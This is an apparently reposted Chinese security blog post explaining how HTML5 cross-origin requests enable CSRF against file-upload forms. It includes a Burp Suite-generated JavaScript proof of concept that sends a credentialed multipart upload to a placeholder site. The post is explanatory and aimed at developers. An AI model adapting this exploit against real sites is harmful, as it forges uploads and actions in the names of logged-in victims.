本文共 1941 字,大约阅读时间需要 6 分钟。
HTML5带来了许多有趣的新特性,其中一个是跨域资源共享(CORS)。在之前的版本中,由于同源策略的限制,黑客无法通过JavaScript直接访问其他域的资源。然而,随着XSS等安全问题的普遍存在,同源策略确实为网络安全带来了诸多好处。然而,CORS在这里似乎成为了一把双刃剑。
在文件上传过程中,传统的CSRF防护机制并不足以阻止恶意请求,因为文件上传通常会自动添加filename
参数,这使得普通的表单提交难以模拟真实的文件上传请求。但是,随着HTML5的普及,这种情况正在发生变化。
CORS允许浏览器在不受同源策略限制的情况下,进行跨域请求。这意味着即使用户访问了恶意页面,攻击者也无需用户交互,完全可以通过JavaScript发送带有filename
参数的跨域请求,从而实施CSRF攻击。
下面的Burp Suite生成的证明代码(PoC)展示了这一点:
function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://example.com/new_file.html", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035"); xhr.withCredentials = "true"; var body = "-----------------------------256672629917035\r\n" + "Content-Disposition: form-data; name=\"message\"\r\n" + "\r\n" + "\r\n" + "-----------------------------256672629917035\r\n" + "Content-Disposition: form-data; name=\"backPage\"\r\n" + "\r\n" + "test\r\n" + "-----------------------------256672629917035\r\n" + "Content-Disposition: form-data; name=\"dataType\"\r\n" + "\r\n" + "test \r\n" + "-----------------------------256672629917035\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" + "Content-Type: text/plain\r\n" + "\r\n" + "test3\r\n" + "-----------------------------256672629917035--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));}
这个代码通过创建一个 XMLHttpRequest 对象,打开一个跨域的POST请求,并模拟了一个带有filename
参数的文件上传请求。攻击者只需在受害者访问恶意页面时,自动触发这个请求,就能完成CSRF攻击。
虽然HTML5的CORS带来了便利,但也为网络安全带来了新的挑战。开发者需要意识到这一点,采取适当的防护措施,防止被恶意利用。
转载地址:http://yjgc.baihongyu.com/